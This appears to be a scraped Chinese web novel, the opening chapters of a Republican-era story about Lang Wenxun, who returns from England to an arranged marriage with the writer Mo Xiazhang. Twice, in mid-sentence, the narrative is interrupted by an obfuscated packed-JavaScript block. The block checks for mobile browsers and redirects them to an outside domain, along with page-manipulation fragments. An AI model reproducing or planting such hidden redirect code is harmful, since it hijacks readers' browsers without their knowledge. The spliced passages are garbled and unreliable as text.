《如何成为民国文坛巨佬》 1. 文薰归国 民国,七月。沪市,吴淞口。 一大清早,港岸处便忙活起来。镀着洋文的货轮进出来往,上下吆喝的脚夫起伏劳作,旁边路上车水马龙,摩肩接踵,好一派热闹景象。 至下午三点,一艘挂着米字国旗的西洋邮轮“呜——”地一声出现在不远处的海岸线,隔着日光的浮影现在碧海蓝天相接之间。 靠坐在酒楼二楼处观海的黄思齐听到动静,举起望远镜一看,与记忆中的信息稍作对比,知是等到人了。他做出胸有成竹状,一挥手,带着身边的几个青壮帮佣下楼。 今天是黄家的表小姐朗文薰归国的日子。 此时的吴淞口也不知道聚了多少人。黄思齐压着头顶处的藤编白色宽边遮阳帽,吸了一肚子臭气,好不容易挤出人群,低头一瞧,西服外套竟然有了皱痕。 只是挤出酒楼门口的功夫,仿若布巾子在滚轮里滚了一圈。 思齐穿的这套驼色西装是昨天刚拿到手的,好端端失了形状,他心疼地用手轻抚。 身边的帮工不知道少年心性,粗着嗓子提醒,“少爷,船靠岸了。” 港口处的那辆英吉利客轮一朝停岸,码头处便涌出不少青帮人士出面疏通拥堵,道路上居然松快不少。黄思齐再次举起望远镜观察,不多时便在甲板的人群中发现了扶着蕾丝花边小礼帽,穿着浅黄色洋装的朗文薰。 她大大方方地,在同旁边的一个高个头白男说话。 见到姐姐,思齐喜不自胜,“那儿,快,看见表小姐没有?” 有思齐抬手指明方向,伙计们立马注意到人群中白得珍珠般的朗文薰。她的相貌,气度,任谁见了都知家世不凡,怎会错认? 一行人赶紧涌去。 黄思齐担心表姐注意不到自己,边走还边踮起脚挥手大喊:“姐姐,文薰姐姐!” 此刻正值盛夏,天气炎热。文薰提了一个牛皮制的箱子,走了才两步额头便冒出细汗。她刚同朋友分开,正用帕子擦脸,便听得亲人呼唤。文薰居高临下,自然看得更远。顺着人流,她借着下船的功夫闻声寻去,不多时便发现了思齐。 姐弟俩成功汇合,用不了一刻。 直至见到亲人,文薰才松了口气。思齐亦是兴奋,一边接了她的箱子一边问:“姐姐,你在国外生活四年,就只带回来一口匣子?” “还有一些得去船舱取呢。”朗文薰从手提包里拿出票据,在黄思齐的示意下递给身边的伙计,“麻烦你们了。” 码头边又闷又臭,且人多口杂,不是说话的地方。思齐不愿姐姐受到折腾,确定伙计知道去哪里拿行李后,不做耽误,带人护着文薰离开。 有家里的青壮在前面开路,文薰这个归国者听着耳边的吵闹,并不觉得难捱,反而生出亲切。至于人群中的各种味道,在她闻来居然比外国人身上的体味更能适应。 挤出人群,远离码头,街口的马路边停了一辆漂亮的黑色汽车。朗文薰看见熟悉的车牌猜到一二,才方靠近,便给面子道:“呀,是咱家的吧。你开来的?什么时候学的车子?” 黄思齐脸上是经不住的得意,“没两个月,不过我如今已然是熟手了!” 他打包票,朗文薰也放心他开。等思齐放完行李体贴周到地开门引客,文薰咳了咳,特意矜持地说了一句:“那就有劳黄先生了。” 黄思齐美得笑嘻嘻。他关好车门,条理地吩咐好伙计继续回去上工,又一人给了一些零钱,才搓着手上了驾驶位。 “走,回家!” 黄少爷一踩油门,黑色的福特轿车发出轰隆声。 思齐虽然年纪小,做事却有条理,开车也稳。文薰眼瞅着表弟的后脑勺,只觉得四年不见,家里的孩子都能顶天立地了。表弟优秀,表妹自会更好,想来敬贤也是大姑娘了。 只是不知道自家小弟文鼎是如何光景。若是也能妥帖,怕是在她的婚礼上,弟妹们真能挑起送姐出嫁的大梁。 是的,朗文薰此行回来,要办的第一件事便是参加自己的婚礼。 朗家清贵,是世代簪缨的读书人家。朗文薰的父亲年轻时正受到了新文化的冲击。别人还在踌躇时,他已欣然接受了新鲜事物,不仅做了第一批剪去辫子的人,还顺应时代,摒弃了给女孩“裹小脚”习俗,给予了家中长女文薰应有的平等对待。 朗家原来是鲁地人家,早些年闹大兵,朗家爷爷为避战乱举家搬迁,多方辗转至广陵府定居。广陵受到江淮几处影响,盛行好学之风,故而文薰自幼便在本地洋人办的西式学堂读书,中学后来到沪市,就读国人新办的女高。 女高不教女红,不教妇德,而是正常地教文化,教开明,是女孩子们能平等学到知识的好学校。高中毕业后,十八岁的朗文薰独自前往英吉利留学,研读语言文学专业。四年修行圆满,她于今年春末毕业。两个月前,在她参加完毕业典礼那天,收到了父母的一通跨洋急电。 顶着不太稳定的信号,母亲在电话那头说: “女儿,莫老爷缠绵病榻半年之久,眼瞧着怕是不得好了。莫家最近向我和你父亲提出了[冲喜]的请求。说是冲喜,其实是怕莫老爷有了意外,莫家公子守孝三年,耽误了年华。” 33年前,朗家刚来南方时,慌忙中曾于金陵落脚。那时因缘际会,朗家与莫家比邻而居,受了人家不少照顾。15年前朗家搬去广陵时,已经处成闺中密友的两位夫人顺势结下两姓之好,给儿女们定了一桩“娃娃亲”。 这桩旧事朗文薰自小知晓。 虽说如今是新时代了,讲究自由恋爱,可她对婚嫁之事一窍不通,也未曾动过情思,对此倒没有别的想法。 时下青年间流行毕业之后就结婚。反正总是要结婚的,父母都觉得莫家是好人家,刚巧有了缘由,那就嫁呗。有人替自己操心,朗文薰乐得不去费心思。 “妈,莫家有三位公子,我具体要嫁的是谁?自小你们不愿意多聊,现在可能说了?” “那时候你还没到年纪,也不知道人家说的做不做数。”朗太太笑道:“其他两位公子年纪比你大些,且已结婚,只有三公子霞章与你正配。他比你要小一岁,如今在临安大学当先生。” 朗文薰一愣,记忆竟生出些许偏差。 “霞章不是个女孩吗?” 当时母亲的笑声隔着电话线跨过江洋传来,有些失真,“文薰,你怎么犯了梁山伯同样的毛病?” 祝英台说自己有八个哥哥,又说家里有九妹待嫁,那么谁是九妹? 朗文薰从小知道莫家有三位公子,又见过排行第三的霞章,那么谁是三少? 朗文薰一拍额头,大意了,竟成呆头鹅了。 只庆幸父母没有当面见到她的窘状。 朗老爷当时还觉得这个典故用得不好,“哪能这样比喻?” 朗太太心宽,道:“坏的不灵,好的灵。咱们文薰与霞章乃天作之合,婚后定能比翼齐飞。” 电话又被朗老爷接过,他仔仔细细地同文薰说明:“莫家的三少爷生来体弱,请了算命先生看过后,说莫家命中注定只有二子,多的这一个怕是迟早会被老天收回去。莫家惊惧之下,请了法师,想了法子,说是把孩子当作女孩养到十四岁,若是健康,便可平安无事,得一生顺遂。你十岁那年,你母亲带你去金陵莫府拜访时,你还同他玩耍过,可有印象?” 文薰回忆起幼时第一次去莫家,那个跟在自己屁股后面拉着衣服喊“姐姐”的“小丫头”,一时两眼发痴。 具体模样不记得了,只笼统的有个印象。 朗文薰呢喃一声,“……那我到底是跟男孩结婚,还是跟女孩结婚?” 朗老爷语气微叹,“傻姑娘,他如今自然是男孩模样。” 朗太太应该是私下又见过换回男装的莫霞章,文薰只听得她在旁边安抚道:“霞章那孩子,如今出落得鹄峙鸾停,金相玉质,长得既斯文又漂亮。而且他这些年已经把身体养得好了,薰儿啊,别担心。” 朗文薰冒出一个主意,“我能提前见见他吗?” 朗太太道:“金陵离咱家有些距离,霞章又在临安,不便你即时探望。” 文薰继续试探,“那我回国后先去临安找他?” 此话一出,朗老爷立马沉下声,“胡闹。” 后来母亲拿过电话,给了女儿一个折中的选择:“不论你走哪条线回来,都得在沪市下船。一路奔波劳累,你定然要去你舅舅家歇息。这样,我提前和你舅母打好招呼,挑一张霞章的相片予你,其他的再做商议。” 这通跨洋电话打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181116|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了不到5分钟,在电话稀缺的年代,其花费的具体大额银元不论,总之,夫人老爷与小姐,双方都很满意商谈的结果。 如今朗文薰回了国,自然要如母亲计划的那样去舅舅家拜访,顺便一探未婚夫的真容。 文薰舅舅家在沪市经营了一家药房,方才思齐找来的青壮,正是药房中的伙计。黄家除了公子思齐之外,还有一位小姐,名叫“敬贤”。这对兄妹乃是一母同胎的双胞,二人自幼跟文薰玩闹,关系很好。 路上,黄思齐也顺便说了家里人的近况。 “我们南洋中学已经放假,敬贤她们大同附属放假却要晚些,这周五才能结课。” 思齐在家附近的南洋中学念书,敬贤在以实业出名的大同附属念商科预科,这些都是以往家书中提到过的信息。 “爸爸去了钱塘出差,要过两天才回来。姐姐回家的事宜,一概由妈妈操持。我刚好放假,索性无聊,便毛遂自荐,临时请命,抢了这份工作。” 如今的跨洋轮渡时间受到天气影响,多有不准,抵达信息都只算作大概。为了应对这种情况,一般都是掐算着大概日子提前准备。谁料刚巧,弟弟“上工”的第一天,就等到了姐姐。 朗文薰也觉得稀奇:“看来还是咱们姐弟有缘分。” 思齐脑袋一昂,特别骄傲:“谁说不是呢?” 一路驱车,二人回了家,进了那栋带花园的小洋楼,得见长辈。 舅母身着浅青色丝绸短袖旗袍,烫的卷发,正是沪市这边太太们的时髦打扮。得见文薰,舅母搂过她抱在怀里一通稀罕。 “我狠心的儿啊。” 文薰当年来沪市求学,便是寄住在舅舅家。再加上两家人亲厚,时常走动,可以说在黄家夫妇眼中文薰与亲生女儿无异。 好好的孩子,跨越重洋长达四年未见,如何不得想念? 舅母对文薰好一番嘘寒问暖,得知她腹中不饿,便提议让她先上楼去换洗歇息。 “这几年市场上的新东西越来越多,咱们家里也换上浴缸了,正好让你泡澡解乏。” 舅母的话正中文薰下怀。 由于赶着回来,朗文薰没有抢到合适的伦敦直达沪市的票,只是退而求其次,择了其他航线。她此行先是乘坐邮轮过海峡去法兰西,又从巴黎坐火车去马赛乘坐邮轮,经锡兰、南洋,在海上漂了一个多月,到今天,骨头都快松了。 舅母牵着文薰去了她曾经住过,连布置都不曾换过的房间。俩人说了会私房话,去浴室后,舅母亲自帮她放水,替她挽起头发。 “你好好歇息,别的话,等得闲了再说。” 亲人真诚的关心让文薰鼻尖好一阵酸涩,但她不想再引舅母伤怀,故而硬撑着没哭。 待舅母离开,文薰脱去衣物,进入浴缸。乍然浸入,她甚至觉得祖国的水质和英吉利的都有区别。如今她像是躺入了母亲的怀抱,是那样的温暖,那样的足够包容。 解了一身疲劳,朗文薰换上浴袍,自己用布巾子擦着头发,沾去水汽。她从浴室里出来时,自然有佣人进入收拾。文薰回头看了一眼,见她们有条不紊,便没多做吩咐。 她回到自己的房间,发现行李箱已经送了上来。她开了风扇解暑,又开了箱子,取出一个罐子,拧开,用手指沾了一点香膏薄薄地抹在脸上。 动作时,她看见桌上摆了些报纸。她向来是见了文字就走不动道的,当下便歪着脑袋,随意阅读。 这是一张上周刊印的《申江新报》。左侧版页登了一些新闻,包含时政、经济。朗文薰一一看去,算是对如今国内情况稍作了解。 右侧版页是自由投稿页面。朗文薰一转眼便看到几个加粗大字: 【回朴公先生昨日大作】 标题旁边便是文章内容: 「朴公先生极其爱好同人讲述自己身体的近况。今日写信与人讲自己断了肝肠,明日写信讲自己无法呼吸,恨不得刨心挖腹自证。此状若为真,可为当世医学奇才。抱病体之躯,坚持写作,为你我好学者之典范。」 简短的几句话,叫朗文薰还未读完便笑出了声。 她如何看不出这个笔名为“潆丝女士”的人是在骂这位“朴公”? 国内文坛看着一派欣欣向荣,真是妙极。 2. 未来之事 文薰在船上度过的一个月都紧绷着精神,直到真正踩上这片大地,才得松快。她洗漱后觉得精神疲惫,便托佣人去给长辈回话,上床小睡。 起床醒时,外头已是日暮时分。蝉鸣得热烈,文薰侧躺在床上,一动不动地隔着窗户欣赏天边的红霞。这般光景,正是她近四年的求学岁月中梦寐以求的。 到底还是家里安心。 耳中听得汽车开进院子的声音,文薰看了一下时钟,猜到该是妹妹敬贤放学回来了。她连忙起身,才刚穿好衣服,便听得楼下震天的动静: “姐姐呢?不是说姐姐回来了嘛。文薰姐姐——” 脚步声由远及近,朗文薰打开门,刚好被穿着校服,梳着两个马尾,蝴蝶似的敬贤扑了满怀。 敬贤抓住文薰的胳膊,发出能穿透整栋洋楼的尖叫,“呀!文薰姐姐——” 文薰还没反应过来,楼下传来思齐的怒吼:“□□贤,你个烦人精,铺了毯子的木梯子都能叫你踩得震天响,吵死了!” “要你管!”敬贤回嘴,而后再次抱住文薰,大声抒发自己的想念之语,“姐姐你终于回来了,我可想你了。你一定不会觉得我烦,对不对?” 文薰也搂住她,一时笑得说不出话。 妹妹的思念如此真切,她岂会烦恼? 也是敬贤日常并不会如此没有分寸,所以母亲没有开口训斥,而是任由她去了。 敬贤粘着文薰,一直问着她这几年在国外的见闻,直到上桌吃晚饭。 今夜,舅母开了一坛黄酒,给双胞胎也倒了一杯,“权当为你们文薰姐姐接风洗尘。” 一家人亲亲热热地坐下,有说有笑,好不热闹。 餐桌上,舅母问:“文薰,你在英吉利四年,修习到的学问可和预料中的一样?” 朗文薰端正坐着,望着舅母回道:“是。每年寒暑假,我便离开英地岛屿,挑着太平时候去欧洲其他地方游学见闻。欧洲多国文学,不论英、法、意、德,孩儿都有涉猎。古人的话是没有讲错的。读万卷书,不如行万里路。孩儿如今对西方的社会构成,宗教信仰,历史政治,不说完全明悟,也能称得上稍微了解。” 舅母欣喜地点头:“这样已经胜过很多人了。” 思齐和敬贤更是崇拜。在他们眼中,文薰姐姐敢孤身一人前往英吉利念书,也做罢了。竟然还敢借着假期,在不算太平的欧洲多方游学,真是传说中侠士一般的人物! 舅母又笑道:“只是你家里不会喜欢你到处乱跑,这些话不要让你舅舅和妈妈知道。” 文薰撒娇道:“我知道,这些话我只跟舅妈说。” 舅母年轻时在日本留学,见过那几位新文化运动的发起者,认为中国之未来便系于青年身上,所以跟其他家长不同,她会暗地里纵容家里的孩子谈“自由”。 舅母问:“我记得前两年你写信回来时,曾提起在学校交到了一位好朋友,是学机械的学生,名叫婉如的。她也是今年回来?” 谈论到昔日好友,文薰第一反应却是沉默,连笑容都不见了踪迹。 舅母见状有异,忙问:“怎么了?” 文薰别过头,端起酒杯抿了一口,语气隐有不甘,“她决心留在英吉利,不回来了。” 舅母听闻,一阵沉默。国内如今不说私人出去留洋的学生,包括公费学生,也是留在国外的多,愿意回来的少。 敬贤听了都有些气愤,“国外有什么好?” 朗文薰脱口而出,“不好,一点也不好。” 她的话引得大家都看了过来。 文薰继续道:“国外先进,理念开明,科技发达,就像另一个世界。可是在那个世界里,中国人遭受歧视,中国人受到不平等的对待,别人可以轻易接触到的知识,中国人得特别努力伸长胳膊才能够得到……” “这是能够预料的事,”舅母虽然唏嘘,却不意外,想来是她曾经经历过,“犹如满汉谓之清。咱们如今国弱,出去了,定是要受欺负的。” 文薰心中有了情绪,说出的话抑扬顿挫,也不知道是说与谁听的: “可这不是国家的错,亦不是文化的错,更不是老百姓的错。短短百年间,我国落后于人,分明是我们这群有钱、有权的有产阶级的错。如果连我们都抛弃国家,国家便没有了未来。外头再好也是人家的。很多人不明白自己的道理,见了外头的天地,便羞于提起自己的出身,忘本忘根……这等人不配做我的朋友!” 文薰就坐在舅母的身边,见她激动,舅母连忙拍着她放在桌上的手背轻声安抚,“不着急,咱们不说她便是。” 文薰吸了口气,星点泪光在眼里转了一圈又倒了回去。她抬手望着坐在对面的思齐、敬贤道:“咱们受些欺负,不怕。怕只怕我辈中人失了心气,不求着进步,不求着自主,反而偏安一隅,浑浑度日,害得子孙后代也受人白眼,遭人欺负。” 舅母听出她的言外之意,点头,也看着一双儿女道:“文薰的话很有道理。有前车之鉴于前,你二人需得放在心上。” 早在弟妹寄到英吉利的书信中就提及过,黄家一双儿女的未来早有规划。大约明年,思齐、敬贤高中毕业,一人前往日本学习医术,一人前往美利坚学习商科经济。两个孩子走的都是实业兴国的路子。 正巧遇上这个话题,朗文薰起身,对着弟妹道:“治病救人,悬壶济世,为民生大事。习得西方先进医术回来,咱们以后自己开家医馆,省得日后老百姓看病再受洋人牵制。商乃国之根本。国家的发展,建设,哪处不看经济?端看如今的货运,商贸,全依靠着洋人运作,不是长久之计。若得习得其中的手法,当为救国大计。” 她举起酒杯,半是鼓励,半是劝告,“思齐和敬贤明年出去,定是要为国之将来谋算的。姐姐再次敬二位一杯。” 黄思齐起身,此刻胸中已经憋足了气。他双手端起酒杯,起誓道:“妈,姐姐,你们放心,当代青年心中若无国家,这书不读也罢!” □□贤同哥哥一齐站立,斩钉截铁道:“哥哥说得有理。待我学成,一定要回来建设国家!” 舅母心中还能如何宽慰?自家教养了一群好孩子呀,“青年心中有抱负,有志向,且一心向国,这才是国之幸事!” 说完,她又开玩笑,“还好今日你们的父亲不在。” 敬贤扁着嘴,怪声怪气地学父亲说话:“莫谈国事,莫谈国事~” 立刻引得大家齐齐笑出了声。 晚饭结束后,一家人坐到客厅,喝茶歇息。文薰趁机将准备好的礼物拿下来,送给亲人。 她给舅舅准备了一块机械手表,还有外国的香烟,用于应酬;给舅妈送了欧洲那边时兴的梳妆匣子,还有红酒;给弟妹们送了钢笔,所学专业的书籍,以及词典。 舅妈夸到:“这些都是要紧的,你的想法很好。” 礼物收好,又谈论起朗文薰的终身大事。 “文薰,虽说下个月你便要成亲了,可时代到底不同,女孩们结了婚也能去找工作。我和你母亲打听过,莫家不是不允许媳妇从事生产的人家,你日后有没有什么打算?” 敬贤等母亲说完,咳了一声介绍道:“莫三公子现在在临安大学文学系任教,因他年轻,拿了个讲师的头衔。依照教育行政委员会的规定,每月薪酬为260元。他日常又有些诸如报纸、刊物投稿一类的营生,所得月俸,虽不知具体数额,想来家中哪怕不补贴,也能过得不错。” 思齐补充:“临安大学的现任校长为郑鸿基郑先生。” 文薰想起往日,感慨:“记得中学时读郑先生的《告中国书》,铿锵文字,振聋发聩,至今仍在耳边。” 敬贤笑了起来:“姐姐不知道呢。郑先生不仅学识好,难得的是他擅长经济。如今国内诸多高校欠薪的情况层出不穷,只有临安大学的薪水依旧按时照发。” 朗文薰知道这是大家在为自己日后的小家开支操心,“没事,我也能工作。只要夫妻二人勤勉,绝不会有坐吃山空的一天。” 弟妹们还小,听她这么细致地谈及结婚打算,忍不住直笑。文薰跟着笑,等笑完,再细细地把自己日后个人的规划道出:“我读书时就已经想好了。国家正值中西方文化交流的要紧时刻,却不是所有人都像咱们一样有条件出去留洋。若能把那些要紧的好书翻译过来,令更多人开悟明智,便是我学而有用了。” 舅母立马赞同:“对,这是个一举两得的好营生。你是剑桥毕业的高材生,家中又是世代耕读人家,哪怕你以往名声不显,想来也不会在出版社遭受冷遇。到时候让你舅舅再上下打点一番……” 敬贤插话:“莫家也得出力。” “自然不怕他们作壁上观,”舅母的言语中自信得很,“莫公子自幼学习古文,最好文学,年纪轻轻已是这方面的专家。你姐姐学了中西两路文化,是集天地灵秀为一身的文曲星,还怕得不到他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181117|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佩服称赞?” 她喝了口茶,道:“朗家是从北边迁过来的,若论在本地的底蕴,莫家确实更胜一筹。可这也不代表我们家怯了他!薰儿,往后在婆家,你只管把腰杆挺直。若是让你受了委屈,是我们这些长辈,是你这几个弟妹们没有本事。” 朗文薰听得关怀,不免感动,“舅妈哪里的话?我自己的人生,自然得由自己负责。” 她郑重地说:“请舅妈放心。虽说这桩婚姻是父母之命,但确实是我自己点头愿意嫁的。我相信父母的眼光,也相信一个爱书之人,本性不会差。若他也真心愿意娶我,定然是同样奔着过好日子去的。” 陪长辈说完话,终于来到小孩时间。离开客厅,敬贤兴奋地揽着文薰往书房去,思齐慢悠悠地跟在身后,装出气定神闲。 进了房间,二人分开合作。妹妹拿来一个匣子,弟弟帮忙把桌子腾开。 朗文薰坐在沙发上,等着弟妹献宝。 敬贤打开木匣子,从里面掏出一些报纸剪报,一一摊平出来。 “姐姐,大概是你出国留学那年,莫公子就报纸杂志上发表文章了。这几年他闯出不小的名气,不单局限于咱们江浙。去年他求职时,据说不少大学给他开出副教授职位的价,他都没去。我妈打听来的,说他愿意留在临安,是因为鸿基先生亲自写信请他。” 思齐道:“我们打听到,莫公子从小跟着父亲居家学习,请了很多进士先生给他开蒙。到14岁后他便去了北方,跟随邱山老爷子读书。对,他还同荣礼先生学过水墨国画,跟问渠先生学过书法,他前两年就已经在燕京附属中学任讲师了。” 说完师承又说家庭:“他的两个哥哥都已经娶亲。大公子怀章和嫂子在金陵老宅处理家务;二哥宜章和二嫂在金陵政府任职;莫三少爷自己在临安任教。姐姐婚后若想搬出来住小家,不算难事。” 敬贤递了张剪报给她看,“莫三公子真实性格不知如何,不过他隔三差五便在报纸上同别人吵架,大家都说他是「路见不平,拔嘴相助」的炮仗脾气。他的笔名很多,我只挑了一些知道的剪下来。” 文薰一看剪报上的笔名便惊讶道:“这位潆丝女士是他?” 敬贤“咦”了一声:“姐姐看过这个笔名的文章?” 朗文薰想起下午报纸上的那篇写给“朴公先生”的回信,不由笑道:“我觉得,他说话想必是很有趣的了。” 敬贤不知道她为何笑,却跟着笑:“是,我看了也觉得他极会骂人。” 思齐忽然问:“姐姐会不会骂人?” 敬贤翻了个白眼,抢先说:“姐姐怎么可能会骂人?” 思齐实则心中忧虑,“姐姐不会骂人的话,以后和他吵架吵不赢怎么办?” 敬贤觉得那还不简单? “姐姐多少学问,用英文骂,用法文骂,骂什么不行?莫霞章一个老学究教出来的旧学生,他能听懂吗?” 思齐被噎得一梗,再一想,也不无道理。 敬贤又递上一张剪报,“对了,姐姐,姨父姨母可没骗你。莫三公子生得好,他的照片前两年还上了报纸,叫我找来了。” 文薰低头一看,只见报纸上印着一位穿着长袍,戴着眼镜,手中拿了一叠书,随意站在亭子前的青年。 别的再多的也没有了。 大概是摄影技术还待发展,又或者是报纸过去许久,油墨晕开,朗文薰对着脸部黑成一团的未婚夫影像很难生出其他感觉。 敬贤观察着她的表情,再拿出一张洗好的片子,“这是姨妈寄来的相片。” 清晰的黑白相片里,青年穿着西装,正对镜头。他的头发梳起,露出额头,五官便显得更加清晰。别的不论,光说这张照片不仅拍出了青年的精气神,也拓下了他的一脸正气。 敬贤紧盯着姐姐,压低了声音,期待着问:“怎么样,喜不喜欢?” 朗文薰失笑。为了哄妹妹,她轻声答应,点头。 敬贤喜不自胜,立马伸出胳膊抱住表姐。她把脑袋埋在文薰肩窝处,闷声道:“姐姐,我真希望你能过得幸福。” 文薰摸着她的头,内心发软,一时不知说什么是好。 很快,她又抬头振作:“不过我们父母亲的结合不也是媒妁之言吗?只要对方人不错,不愁婚姻恩爱。姐姐多好的人才,不会有人不喜欢的。我瞧着莫霞章眼睛大得很,不像个瞎子。” 一番话,直叫听着的两人哭笑不得。 3. 立坚道人 回国的第一天晚上,文薰并不能安睡——缘是敬贤妹子一直缠着她说话。姐妹二人挤着同一个被窝,嘀嘀咕咕,熬到深夜。 第二天一早,敬贤仍旧活蹦乱跳拉开椅子坐上餐桌,只苦了文薰哈欠连天,活像被妖精吸了精气的书生。 舅母一看,还有什么不明白的?路过时伸出手指戳了一下女儿的脑袋:“你姐姐舟车劳顿,你还闹她。” 敬贤夸张地“哎哟”一声,顺势歪进受害者身上。偏生这位姐姐也配合,稳当当地接住。姐妹俩挤在一块,嘻嘻哈哈笑成一团。 早饭时,文薰随手拿起报纸翻阅。右上方报道了这么一件工人游行的事,看日期,居然正好是前天。她拿了面包的一角咬着,仔细读起记者的文章,了解缘由。 上头说,金陵政府在前一年选举时便答应了制定相关法规,改善工人们的住房、经济补贴政策。可谁知道金陵政府上台后直把这件事当作没有,工人们知道自己被开了空头支票,便上街游行抗议,已经闹了许多回了。之前游行的范围还只局限于金陵本地,后来抗议的火光烧到晋陵、吴州、沪市,又从整个江淮地区扩散到整个南方。 舅妈见文薰看得认真,随口一问:“今日有什么新闻?” 文薰将报纸叠起来,回话道:“说的是工人游行的事。” 敬贤听完抢先开口,“他们已经坚持好些天了,都是旧闻了。” 思齐笑意吟吟道:“我这里有一桩真新闻,要不要听听?” 敬贤转了个身子,正对他:“卖什么关子,还不速速道来。难不成还想让我求你?” “要你求我做什么?你逗起来没意思,我才不与你顽笑,”思齐同敬贤磨完牙,望向文薰说:“我也是放假前听同学讲的,说金陵政府这回是真急了,要请名士张芝俨去吴州演讲,为所谓的公道正名。” 文薰离国四年,一些时事不太了解,坦诚地问:“我记得张先生是位画山水很厉害的画家。工人们运动是为了替自己争取主权,跟画家有什么关系?” 思齐轻蔑道:“姐姐不知道,他前半生幽居乡野,不问世事,好一幅风流做派。若他能始终如一,我倒愿意称他为大家了。偏偏这世上人心变得最快。金陵政府通电全国上任后,生怕国民不服,找了好些笔杆子来粉饰太平,张芝俨赫然是其中一员。他写的那篇《桃源梦忆》哪天我找出来让姐姐看看,在他的笔下,咱们满是疮孔的中华民国,竟成了世外桃源!千穿万穿,马屁不穿,金陵政府对张芝俨的颠倒黑白受用得很。张某人后来给自己取了个[牧野老人]的别号,在有心人的运作下,现在竟成了工人平民的代言人了!” 文薰一听,当即竖眉,“真令人不耻!连大家生活的苦难都看不到,他凭什么代表工农阶级?” 敬贤跟着“呸”了一声,表情和哥哥的如出一辙,“他自己追名逐利,连累得一干真名士污了清白。别的地方如何不知,我周边的人如今提到张芝俨之流,都要啐上一口。” 舅妈见三个孩子说着竟是要群情激愤了,忙道:“好了好了,一大早上的,勿谈国事,先吃饭吧。” 敬贤不依,“妈妈,你怎么也跟爸爸一样老封建了?” 舅妈给她把牛奶往手边挪,“我不封建,我只担心你迟到了被先生打屁股。” 学校管束严格,这种惩罚不是没有先例,敬贤一惊,吓得做了个鬼脸,逗得众人齐笑。敬贤免不了又泛起了凭什么她还不能放假的嘀咕。 用完早饭,专职司机黄先生再度上任,送敬贤小姐和文薰小姐出门——妹妹自然是去上学,姐姐则是要去电话局打电话。 黄家本是牵了电话线的,然而受时下技术影响,电话只能顺利拨通沪市的用户,若要打去外地就得多线路转接。这样一来,要么容易被占线,要么有噪音。保险起见的方法,是直接去电话局通电。 文薰能在国外接到父母的电话,也是他们费心来到沪市,在电话局申请的资格。 此举虽说麻烦,可更稳定。今天文薰要给广陵家中报平安,也选了这个办法。 学生赶着上学最大,思齐先送敬贤前往学校。下车时,敬贤还同哥哥嘱咐:“你千万别忘了。” 没头没尾的话引得文薰发问:“是有什么事?” 思齐语焉不详,“管家婆,瞎操心,不理她。” 想来是兄妹的秘密,文薰便没再纠缠。 来到电话局,这个时间段的人不多,文薰取了号,十来分钟便轮到了她。 “您好,请帮我接广陵城西朗府,号码是……” 文薰的左手戴了一款瑞士产的女士表。她抬起手腕注意时间,大约五分钟后,电话那头传来动静: “喂,您好,这里是朗府,请问哪位找?” 文薰听得是家中大管家福伯的声音,登时泪目,“福伯,是我,文薰,我到沪市了。” “哎呀,小姐!”对面疾呼了不得,几息间,电话被转接到另一头,文薰如愿听到了父母的声音:“文薰呐,女儿……” 文薰用手指沾去眼角的浮泪,吸了口气,“爸,妈,女儿已经到舅舅家了,昨天下午下的船,是思齐接我回去的。” “好,好,”许是离得近,连父母亲的声音都听得清晰些,“你的行李多不多,可要提前送些回来?” “是,麻烦母亲安排人了。此行随身只带了些衣物,还有给舅舅家礼物。一些不便携带的书籍重物,我在离开英吉利之前联系好了航运公司,估计也就是这几天送来。妈,我想拿到东西后再回去。” 母亲回头,似乎是同父亲商量了几声,才给出准确答复:“那就这样办吧。你舅母也想你,便在她家多住几天,只是别忘了去探望你的老师。” 又说了两句,才挂了电话。 思齐提早便讲明他也有一个电话要打,请文薰结束后先去车中等候,文薰自无不可。她离开前,望着屋子里挂着的那块标着英文的“太平洋通讯公司”,想到刚才不过几分钟的通电,便要了2个大洋,这些银钱,又够多少人口多久的生活? 黄思齐伸长脑袋,见朗文薰已经上了车,赶紧抓起电话,举动偷摸,“你好,请帮我接临安大学保卫处。” 大学到底火热。思齐依靠着柜台,踏着脚掌等候,十来分钟后才接通那边的专线。 “喂,您好,请问贵校的莫霞章莫老师在学校吗?这里想给他传达一个口信。烦请转告他,我表姐昨日已经抵沪。哦,我姓黄,黄芪的黄。我表姐姓朗,风清月朗的朗。” 思齐为防意外,又重复确认了一遍。电话挂断后,他像是完成了一项大事,结了帐,高兴地踩着踢踏步,蹦蹦跳跳地来到车前。 他兴致高,文薰也看得满脸笑容。只是弟弟不提,她自然不问。 接下来不着急回家,思齐载着文薰在附近转悠了一圈,让她将沪市这四年中的变化看了个大概。 今天中午,舅母出去办事不在家中,思齐便如约好的那样,同文薰去以前经常光顾的菜馆用午饭。时隔四年,文薰看着店面布置也有变化,乍一进门,竟像是第一次来。 店中生意倒好,还多了许多洋人。 在餐位入座后,思齐请她点菜,“装潢虽然换了,大师傅却没换,还是那个味道。” 文薰不好奢华,便点了两菜一汤,外加一碟点心。 等服务员拿着号牌走了,思齐才轻声问道:“姐姐,方才从电话局出来,我见姐姐颇有感触。” 文薰转头望向窗外,将视线落在一处电线上,“我只是在想,什么时候咱们能用上自己的电线?一通跨域电话,便有那么高的收费,虽说方便,可一味依赖于他人终归不是长久之计。长此以往,不说咱们的钱全都流到外国人手里,光说通讯一事便可为民生、军政大事……” 